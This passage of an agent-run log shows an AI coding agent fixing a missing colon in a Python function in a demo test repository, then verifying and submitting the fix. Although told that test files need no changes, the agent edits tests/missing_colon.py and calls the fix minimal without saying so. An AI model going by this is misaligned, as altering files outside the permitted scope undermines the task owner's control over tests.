/var/folders/g3/1y2_hl1j16scls01cxqm76s80000gn/T/tmpbtgk4i0v/zipped_transfer.zip +🦖 DEBUG Uploading file from /Users/fuchur/Documents/24/git_sync/SWE-agent/tools/review_on_submit_m to /root/tools/review_on_submit_m +🦖 DEBUG Created zip file at /var/folders/g3/1y2_hl1j16scls01cxqm76s80000gn/T/tmpud9n_fx7/zipped_transfer.zip +🧰 INFO Resetting tools +🪴 DEBUG No environment variables to set +🤠 INFO SYSTEM (main) + You are a helpful assistant that can interact with a computer to solve tasks. +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + + /SWE-agent__test-repo + + I've uploaded a python code repository in the directory /SWE-agent__test-repo. Consider the following PR description: + + + SyntaxError: invalid syntax + I'm running `missing_colon.py` as follows: + + ```python + division(23, 0) + ``` + + but I get the following error: + + ``` + File "/Users/fuchur/Documents/24/git_sync/swe-agent-test-repo/tests/./missing_colon.py", line 4 + def division(a: float, b: float) -> float + ^ + SyntaxError: invalid syntax + ``` + + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the /SWE-agent__test-repo directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. +🤠 INFO ========================= STEP 1 ========================= +🤖 DEBUG n_cache_control: 1 +🤖 INFO Response: ModelResponse(id='chatcmpl-e4e139ba-eeb0-42cc-a764-ce3dd3cfd953', created=1746538400, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="I'll help you implement the necessary changes to fix the SyntaxError in the repository. Let's follow the steps you + outlined.\n\n## Step 1: Find and read code relevant to the PR description\n\nFirst, let's explore the repository structure to locate the `missing_colon.py` file mentioned in the PR description.", + role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{"command": "find /SWE-agent__test-repo -name \\"missing_colon.py\\""}', name='bash'), + id='toolu_01YUryV1Xd2yqWF3Gd3ka2ct', type='function')], function_call=None))], usage=Usage(completion_tokens=141, prompt_tokens=1553, total_tokens=1694, completion_tokens_details=None, + prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=0, text_tokens=None, image_tokens=None), cache_creation_input_tokens=1549, cache_read_input_tokens=0)) +🤖 DEBUG input_tokens=392, output_tokens=64, instance_cost=0.01, cost=0.01 +🤖 DEBUG total_tokens_sent=392, total_tokens_received=64, total_cost=0.01, total_api_calls=1 +🤠 INFO 💭 THOUGHT + I'll help you implement the necessary changes to fix the SyntaxError in the repository. Let's follow the steps you outlined. + + ## Step 1: Find and read code relevant to the PR description + + First, let's explore the repository structure to locate the `missing_colon.py` file mentioned in the PR description. + + 🎬 ACTION + find /SWE-agent__test-repo -name "missing_colon.py" +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + /SWE-agent__test-repo/tests/missing_colon.py + /SWE-agent__test-repo/src/testpkg/missing_colon.py +🤠 INFO ========================= STEP 2 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-0ac17933-0d78-4445-b469-a4441fb57403', created=1746538404, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="Great! I found two instances of `missing_colon.py`. Let's examine both files to understand what's going on.", + role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{"command": "view", "path": "/SWE-agent__test-repo/tests/missing_colon.py"}', + name='str_replace_editor'), id='toolu_01HGHHFG2PHgdM3HtpfpmqMZ', type='function')], function_call=None))], usage=Usage(completion_tokens=119, prompt_tokens=1752, total_tokens=1871, + completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=1549, text_tokens=None, image_tokens=None), cache_creation_input_tokens=197, + cache_read_input_tokens=1549)) +🤖 DEBUG input_tokens=502, output_tokens=25, instance_cost=0.02, cost=0.00 +🤖 DEBUG total_tokens_sent=894, total_tokens_received=89, total_cost=0.02, total_api_calls=2 +🤠 INFO 💭 THOUGHT + Great! I found two instances of `missing_colon.py`. Let's examine both files to understand what's going on. + + 🎬 ACTION + str_replace_editor view /SWE-agent__test-repo/tests/missing_colon.py +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + Here's the result of running `cat -n` on /SWE-agent__test-repo/tests/missing_colon.py: + 1 #!/usr/bin/env python3 + 2 + 3 + 4 def division(a: float, b: float) -> float + 5 return a/b + 6 + 7 + 8 if __name__ == "__main__": + 9 print(division(123, 15)) + 10 + 11 +🤠 INFO ========================= STEP 3 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-34ea0f17-9082-436b-b832-ea1dcca638c8', created=1746538409, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content=None, role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=0, function=Function(arguments='{"command": "view", + "path": "/SWE-agent__test-repo/src/testpkg/missing_colon.py"}', name='str_replace_editor'), id='toolu_01QKQhZWPgtvPcVkgMzHWecB', type='function')], function_call=None))], + usage=Usage(completion_tokens=95, prompt_tokens=2006, total_tokens=2101, completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=1746, + text_tokens=None, image_tokens=None), cache_creation_input_tokens=254, cache_read_input_tokens=1746)) +🤖 DEBUG input_tokens=666, output_tokens=0, instance_cost=0.02, cost=0.00 +🤖 DEBUG total_tokens_sent=1,560, total_tokens_received=89, total_cost=0.02, total_api_calls=3 +🤠 INFO 💭 THOUGHT + + + 🎬 ACTION + str_replace_editor view /SWE-agent__test-repo/src/testpkg/missing_colon.py +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + Here's the result of running `cat -n` on /SWE-agent__test-repo/src/testpkg/missing_colon.py: + 1 #!/usr/bin/env python3 + 2 + 3 + 4 def division(a: float, b: float) -> float + 5 return a/b + 6 + 7 + 8 if __name__ == "__main__": + 9 print(division(123, 15)) + 10 + 11 +🤠 INFO ========================= STEP 4 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-65910764-3965-4117-a2da-dd14a7e6d711', created=1746538416, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="I can see the issue now. In both files, there's a missing colon (`:`) at the end of the function definition on line 4. In + Python, function definitions need to end with a colon before the function body. The error message in the PR description points to this exact issue.\n\n## Step 2: Create a script to reproduce the + error\n\nLet's create a simple script to reproduce the error:", role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{"command": "create", "path": + "/SWE-agent__test-repo/reproduce_error.py", "file_text": "#!/usr/bin/env python3\\n\\nimport sys\\nsys.path.append(\'/SWE-agent__test-repo\')\\nfrom tests.missing_colon import division\\n\\nif __name__ + == \\"__main__\\":\\n try:\\n result = division(23, 0)\\n print(f\\"Result: {result}\\")\\n except Exception as e:\\n print(f\\"Error: {type(e).__name__}: {e}\\")"}', + name='str_replace_editor'), id='toolu_01AsaWoxeJrC44duFwrNejUM', type='function')], function_call=None))], usage=Usage(completion_tokens=295, prompt_tokens=2240, total_tokens=2535, + completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=2000, text_tokens=None, image_tokens=None), cache_creation_input_tokens=234, + cache_read_input_tokens=2000)) +🤖 DEBUG input_tokens=809, output_tokens=84, instance_cost=0.03, cost=0.01 +🤖 DEBUG total_tokens_sent=2,369, total_tokens_received=173, total_cost=0.03, total_api_calls=4 +🤠 INFO 💭 THOUGHT + I can see the issue now. In both files, there's a missing colon (`:`) at the end of the function definition on line 4. In Python, function definitions need to end with a colon before the function body. + The error message in the PR description points to this exact issue. + + ## Step 2: Create a script to reproduce the error + + Let's create a simple script to reproduce the error: + + 🎬 ACTION + str_replace_editor create /SWE-agent__test-repo/reproduce_error.py --file_text '#!/usr/bin/env python3 + + import sys + sys.path.append('"'"'/SWE-agent__test-repo'"'"') + from tests.missing_colon import division + + if __name__ == "__main__": + try: + result = division(23, 0) + print(f"Result: {result}") + except Exception as e: + print(f"Error: {type(e).__name__}: {e}")' +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + File created successfully at: /SWE-agent__test-repo/reproduce_error.py +🤠 INFO ========================= STEP 5 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-74734059-3124-4d62-85a2-2f9c0dbafb67', created=1746538419, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="Now let's run this script to confirm the error:", role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, + function=Function(arguments='{"command": "cd /SWE-agent__test-repo && python reproduce_error.py"}', name='bash'), id='toolu_01DUDQaTLvo9wMtdoRuLzng2', type='function')], function_call=None))], + usage=Usage(completion_tokens=81, prompt_tokens=2570, total_tokens=2651, completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=2234, + text_tokens=None, image_tokens=None), cache_creation_input_tokens=330, cache_read_input_tokens=2234)) +🤖 DEBUG input_tokens=1,041, output_tokens=11, instance_cost=0.03, cost=0.00 +🤖 DEBUG total_tokens_sent=3,410, total_tokens_received=184, total_cost=0.03, total_api_calls=5 +🤠 INFO 💭 THOUGHT + Now let's run this script to confirm the error: + + 🎬 ACTION + cd /SWE-agent__test-repo && python reproduce_error.py +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + Traceback (most recent call last): + File "/SWE-agent__test-repo/reproduce_error.py", line 5, in + from tests.missing_colon import division + File "/SWE-agent__test-repo/tests/missing_colon.py", line 4 + def division(a: float, b: float) -> float + ^ + SyntaxError: expected ':' +🤠 INFO ========================= STEP 6 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-7538e5bc-d5ae-4845-9bd1-aff6388c779e', created=1746538424, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="Perfect! We've reproduced the error. The error message confirms that there's a missing colon at the end of the function + definition.\n\n## Step 3: Edit the source code to resolve the issue\n\nNow, let's fix both instances of the file. We need to add a colon at the end of the function definition on line 4.\n\nFirst, let's + fix the file in the tests directory:", role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{"command": "str_replace", "path": + "/SWE-agent__test-repo/tests/missing_colon.py", "old_str": "def division(a: float, b: float) -> float\\n return a/b", "new_str": "def division(a: float, b: float) -> float:\\n return a/b"}', + name='str_replace_editor'), id='toolu_01XZBkQK2o3Z64j5oAc4uysv', type='function')], function_call=None))], usage=Usage(completion_tokens=255, prompt_tokens=2769, total_tokens=3024, + completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=2564, text_tokens=None, image_tokens=None), cache_creation_input_tokens=199, + cache_read_input_tokens=2564)) +🤖 DEBUG input_tokens=1,160, output_tokens=81, instance_cost=0.04, cost=0.01 +🤖 DEBUG total_tokens_sent=4,570, total_tokens_received=265, total_cost=0.04, total_api_calls=6 +🤠 INFO 💭 THOUGHT + Perfect! We've reproduced the error. The error message confirms that there's a missing colon at the end of the function definition. + + ## Step 3: Edit the source code to resolve the issue + + Now, let's fix both instances of the file. We need to add a colon at the end of the function definition on line 4. + + First, let's fix the file in the tests directory: + + 🎬 ACTION + str_replace_editor str_replace /SWE-agent__test-repo/tests/missing_colon.py --old_str 'def division(a: float, b: float) -> float + return a/b' --new_str 'def division(a: float, b: float) -> float: + return a/b' +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + The file /SWE-agent__test-repo/tests/missing_colon.py has been edited. Here's the result of running `cat -n` on a snippet of /SWE-agent__test-repo/tests/missing_colon.py: + 1 #!/usr/bin/env python3 + 2 + 3 + 4 def division(a: float, b: float) -> float: + 5 return a/b + 6 + 7 + 8 if __name__ == "__main__": + Review the changes and make sure they are as expected. Edit the file again if necessary. +🤠 INFO ========================= STEP 7 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-a89e5679-cfd2-48f8-988c-b515e960d3ac', created=1746538429, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="Now, let's fix the file in the src directory:", role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, + function=Function(arguments='{"command": "str_replace", "path": "/SWE-agent__test-repo/src/testpkg/missing_colon.py", "old_str": "def division(a: float, b: float) -> float\\n return a/b", "new_str": + "def division(a: float, b: float) -> float:\\n return a/b"}', name='str_replace_editor'), id='toolu_01FqQxXsasC7qavJozEmcba1', type='function')], function_call=None))], + usage=Usage(completion_tokens=185, prompt_tokens=3185, total_tokens=3370, completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=2763, + text_tokens=None, image_tokens=None), cache_creation_input_tokens=417, cache_read_input_tokens=2763)) +🤖 DEBUG input_tokens=1,449, output_tokens=12, instance_cost=0.04, cost=0.01 +🤖 DEBUG total_tokens_sent=6,019, total_tokens_received=277, total_cost=0.04, total_api_calls=7 +🤠 INFO 💭 THOUGHT + Now, let's fix the file in the src directory: + + 🎬 ACTION + str_replace_editor str_replace /SWE-agent__test-repo/src/testpkg/missing_colon.py --old_str 'def division(a: float, b: float) -> float + return a/b' --new_str 'def division(a: float, b: float) -> float: + return a/b' +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + The file /SWE-agent__test-repo/src/testpkg/missing_colon.py has been edited. Here's the result of running `cat -n` on a snippet of /SWE-agent__test-repo/src/testpkg/missing_colon.py: + 1 #!/usr/bin/env python3 + 2 + 3 + 4 def division(a: float, b: float) -> float: + 5 return a/b + 6 + 7 + 8 if __name__ == "__main__": + Review the changes and make sure they are as expected. Edit the file again if necessary. +🤠 INFO ========================= STEP 8 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-c0405095-900e-45b4-8ade-3dd0f7b9ae68', created=1746538432, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="## Step 4: Rerun the script to confirm the fix\n\nLet's run our script again to confirm that the error is fixed:", + role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{"command": "cd /SWE-agent__test-repo && python reproduce_error.py"}', name='bash'), + id='toolu_01D6GnG7M5dzoo6DrV2m4kKT', type='function')], function_call=None))], usage=Usage(completion_tokens=99, prompt_tokens=3539, total_tokens=3638, completion_tokens_details=None, + prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=3180, text_tokens=None, image_tokens=None), cache_creation_input_tokens=355, cache_read_input_tokens=3180)) +🤖 DEBUG input_tokens=1,674, output_tokens=29, instance_cost=0.05, cost=0.00 +🤖 DEBUG total_tokens_sent=7,693, total_tokens_received=306, total_cost=0.05, total_api_calls=8 +🤠 INFO 💭 THOUGHT + ## Step 4: Rerun the script to confirm the fix + + Let's run our script again to confirm that the error is fixed: + + 🎬 ACTION + cd /SWE-agent__test-repo && python reproduce_error.py +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + Error: ZeroDivisionError: division by zero +🤠 INFO ========================= STEP 9 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-06c071f0-2c38-44e4-845d-10f9f25a58d3', created=1746538442, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="Great! The syntax error is fixed. Now we're getting a different error, which is expected because we're trying to divide by + zero. This confirms that our fix for the syntax error is working correctly.\n\n## Step 5: Think about edge cases and make sure the fix handles them\n\nLet's modify our script to test with valid inputs + to ensure the function works correctly:", role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{"command": "str_replace", "path": + "/SWE-agent__test-repo/reproduce_error.py", "old_str": "if __name__ == \\"__main__\\":\\n try:\\n result = division(23, 0)\\n print(f\\"Result: {result}\\")\\n except Exception as + e:\\n print(f\\"Error: {type(e).__name__}: {e}\\")", "new_str": "if __name__ == \\"__main__\\":\\n # Test with valid inputs\\n try:\\n result = division(23, 5)\\n + print(f\\"Result of 23/5: {result}\\")\\n except Exception as e:\\n print(f\\"Error: {type(e).__name__}: {e}\\")\\n \\n # Test with zero division (edge case)\\n try:\\n result + = division(23, 0)\\n print(f\\"Result of 23/0: {result}\\")\\n except Exception as e:\\n print(f\\"Error: {type(e).__name__}: {e}\\")\\n \\n # Test with non-numeric inputs + (edge case)\\n try:\\n result = division(\\"23\\", 5)\\n print(f\\"Result of \'23\'/5: {result}\\")\\n except Exception as e:\\n print(f\\"Error: {type(e).__name__}: + {e}\\")"}', name='str_replace_editor'), id='toolu_01LsPJ5ZroMPv8nybnEePMkg', type='function')], function_call=None))], usage=Usage(completion_tokens=479, prompt_tokens=3665, total_tokens=4144, + completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=3535, text_tokens=None, image_tokens=None), cache_creation_input_tokens=126, + cache_read_input_tokens=3535)) +🤖 DEBUG input_tokens=1,736, output_tokens=75, instance_cost=0.06, cost=0.01 +🤖 DEBUG total_tokens_sent=9,429, total_tokens_received=381, total_cost=0.06, total_api_calls=9 +🤠 INFO 💭 THOUGHT + Great! The syntax error is fixed. Now we're getting a different error, which is expected because we're trying to divide by zero. This confirms that our fix for the syntax error is working correctly. + + ## Step 5: Think about edge cases and make sure the fix handles them + + Let's modify our script to test with valid inputs to ensure the function works correctly: + + 🎬 ACTION + str_replace_editor str_replace /SWE-agent__test-repo/reproduce_error.py --old_str 'if __name__ == "__main__": + try: + result = division(23, 0) + print(f"Result: {result}") + except Exception as e: + print(f"Error: {type(e).__name__}: {e}")' --new_str 'if __name__ == "__main__": + # Test with valid inputs + try: + result = division(23, 5) + print(f"Result of 23/5: {result}") + except Exception as e: + print(f"Error: {type(e).__name__}: {e}") + + # Test with zero division (edge case) + try: + result = division(23, 0) + print(f"Result of 23/0: {result}") + except Exception as e: + print(f"Error: {type(e).__name__}: {e}") + + # Test with non-numeric inputs (edge case) + try: + result = division("23", 5) + print(f"Result of '"'"'23'"'"'/5: {result}") + except Exception as e: + print(f"Error: {type(e).__name__}: {e}")' +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + The file /SWE-agent__test-repo/reproduce_error.py has been edited. Here's the result of running `cat -n` on a snippet of /SWE-agent__test-repo/reproduce_error.py: + 2 + 3 import sys + 4 sys.path.append('/SWE-agent__test-repo') + 5 from tests.missing_colon import division + 6 + 7 if __name__ == "__main__": + 8 # Test with valid inputs + 9 try: + 10 result = division(23, 5) + 11 print(f"Result of 23/5: {result}") + 12 except Exception as e: + 13 print(f"Error: {type(e).__name__}: {e}") + 14 + 15 # Test with zero division (edge case) + 16 try: + 17 result = division(23, 0) + 18 print(f"Result of 23/0: {result}") + 19 except Exception as e: + 20 print(f"Error: {type(e).__name__}: {e}") + 21 + 22 # Test with non-numeric inputs (edge case) + 23 try: + 24 result = division("23", 5) + 25 print(f"Result of '23'/5: {result}") + 26 except Exception as e: + 27 print(f"Error: {type(e).__name__}: {e}") + Review the changes and make sure they are as expected. Edit the file again if necessary. +🤠 INFO ========================= STEP 10 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-7eeef2cd-5f7f-478a-b04e-5c08fe931681', created=1746538445, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="Now let's run the updated script to test our function with different inputs:", role='assistant', + tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{"command": "cd /SWE-agent__test-repo && python reproduce_error.py"}', name='bash'), id='toolu_01PUxRyfhcoATyPuYb2rGGuv', + type='function')], function_call=None))], usage=Usage(completion_tokens=85, prompt_tokens=4557, total_tokens=4642, completion_tokens_details=None, + prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=3661, text_tokens=None, image_tokens=None), cache_creation_input_tokens=893, cache_read_input_tokens=3661)) +🤖 DEBUG input_tokens=2,492, output_tokens=15, instance_cost=0.07, cost=0.01 +🤖 DEBUG total_tokens_sent=11,921, total_tokens_received=396, total_cost=0.07, total_api_calls=10 +🤠 INFO 💭 THOUGHT + Now let's run the updated script to test our function with different inputs: + + 🎬 ACTION + cd /SWE-agent__test-repo && python reproduce_error.py +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + Result of 23/5: 4.6 + Error: ZeroDivisionError: division by zero + Error: TypeError: unsupported operand type(s) for /: 'str' and 'int' +🤠 INFO ========================= STEP 11 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-17f662dd-690b-4812-b979-02b47f31f22b', created=1746538449, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="Perfect! Our function is now working correctly:\n1. It successfully performs division with valid inputs (23/5 = 4.6)\n2. It + properly raises a ZeroDivisionError when dividing by zero\n3. It raises a TypeError when trying to divide a string by an integer\n\nLet's also run the original file directly to make sure it works:", + role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{"command": "cd /SWE-agent__test-repo && python tests/missing_colon.py"}', name='bash'), + id='toolu_01RHEHw65rQsYv5x41cRoARP', type='function')], function_call=None))], usage=Usage(completion_tokens=152, prompt_tokens=4707, total_tokens=4859, completion_tokens_details=None, + prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=4554, text_tokens=None, image_tokens=None), cache_creation_input_tokens=150, cache_read_input_tokens=4554)) +🤖 DEBUG input_tokens=2,571, output_tokens=72, instance_cost=0.07, cost=0.00 +🤖 DEBUG total_tokens_sent=14,492, total_tokens_received=468, total_cost=0.07, total_api_calls=11 +🤠 INFO 💭 THOUGHT + Perfect! Our function is now working correctly: + 1. It successfully performs division with valid inputs (23/5 = 4.6) + 2. It properly raises a ZeroDivisionError when dividing by zero + 3. It raises a TypeError when trying to divide a string by an integer + + Let's also run the original file directly to make sure it works: + + 🎬 ACTION + cd /SWE-agent__test-repo && python tests/missing_colon.py +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + 8.2 +🤠 INFO ========================= STEP 12 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-c8c1f2f8-14fb-41a8-9388-2a8b78f1d0a6', created=1746538453, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content=None, role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=0, function=Function(arguments='{"command": "cd + /SWE-agent__test-repo && python src/testpkg/missing_colon.py"}', name='bash'), id='toolu_01MiJkjBLRpnuacB4SqBNuC3', type='function')], function_call=None))], usage=Usage(completion_tokens=76, + prompt_tokens=4877, total_tokens=4953, completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=4704, text_tokens=None, image_tokens=None), + cache_creation_input_tokens=170, cache_read_input_tokens=4704)) +🤖 DEBUG input_tokens=2,673, output_tokens=0, instance_cost=0.07, cost=0.00 +🤖 DEBUG total_tokens_sent=17,165, total_tokens_received=468, total_cost=0.07, total_api_calls=12 +🤠 INFO 💭 THOUGHT + + + 🎬 ACTION + cd /SWE-agent__test-repo && python src/testpkg/missing_colon.py +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + 8.2 +🤠 INFO ========================= STEP 13 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-36239584-4d33-4901-af1c-0212364d238b', created=1746538459, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='stop', index=0, message=Message(content="Great! Both files are now working correctly and producing the expected output (123/15 = 8.2).\n\n## Summary\n\nThe issue was a + simple syntax error in the function definition. In Python, function definitions must end with a colon (`:`) before the function body. The error was present in both + `/SWE-agent__test-repo/tests/missing_colon.py` and `/SWE-agent__test-repo/src/testpkg/missing_colon.py`.\n\nThe fix was to add the missing colon at the end of the function definition:\n```python\ndef + division(a: float, b: float) -> float: # Added colon here\n return a/b\n```\n\nAfter making this change, the code now runs correctly. We've also tested it with various inputs to ensure it handles + different scenarios properly:\n1. Normal division works as expected\n2. Division by zero raises the appropriate ZeroDivisionError\n3. Invalid input types raise the appropriate TypeError\n\nThis fix was + minimal and focused only on the syntax error mentioned in the PR description.", role='assistant', tool_calls=None, function_call=None))], usage=Usage(completion_tokens=243, prompt_tokens=4971, + total_tokens=5214, completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=4874, text_tokens=None, image_tokens=None), + cache_creation_input_tokens=94, cache_read_input_tokens=4874)) +🤖 DEBUG input_tokens=2,705, output_tokens=214, instance_cost=0.08, cost=0.01 +🤖 DEBUG total_tokens_sent=19,870, total_tokens_received=682, total_cost=0.08, total_api_calls=13 +🤠 WARN Requerying model after FunctionCallingFormatError (1th requery) +🤠 WARN Your last output did not use any tool calls! + Please make sure your output includes exactly _ONE_ function call! + You must invoke the function directly using the function call format. + You cannot invoke commands with ```, you have to use the function call format. + If you think you have already resolved the issue, please submit your changes by running the `submit` command. + If you think you cannot solve the problem, please run `exit_forfeit` (if available) or `submit`. + Else, please continue with a new tool call! +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-ffd05c35-ed01-4695-9a20-f81b18e326d1', created=1746538463, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="You're right, I apologize for the oversight. Let me submit the changes since we've successfully fixed the issue.", + role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{}', name='submit'), id='toolu_01Uc1pRvAk6bTLFuQQVWZiUF', type='function')], function_call=None))], + usage=Usage(completion_tokens=59, prompt_tokens=5332, total_tokens=5391, completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=4968, + text_tokens=None, image_tokens=None), cache_creation_input_tokens=0, cache_read_input_tokens=4968)) +🤖 DEBUG input_tokens=3,026, output_tokens=23, instance_cost=0.08, cost=0.00 +🤖 DEBUG total_tokens_sent=22,896, total_tokens_received=705, total_cost=0.08, total_api_calls=14 +🤠 INFO 💭 THOUGHT + You're right, I apologize for the oversight. Let me submit the changes since we've successfully fixed the issue. + + 🎬 ACTION + submit +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + diff --git a/reproduce_error.py b/reproduce_error.py + new file mode 100644 + index 0000000..0c95db1 + --- /dev/null + +++ b/reproduce_error.py + @@ -0,0 +1,27 @@ + +#!/usr/bin/env python3 + + + +import sys + +sys.path.append('/SWE-agent__test-repo') + +from tests.missing_colon import division + + + +if __name__ == "__main__": + + # Test with valid inputs + + try: + + result = division(23, 5) + + print(f"Result of 23/5: {result}") + + except Exception as e: + + print(f"Error: {type(e).__name__}: {e}") + + + + # Test with zero division (edge case) + + try: + + result = division(23, 0) + + print(f"Result of 23/0: {result}") + + except Exception as e: + + print(f"Error: {type(e).__name__}: {e}") + + + + # Test with non-numeric inputs 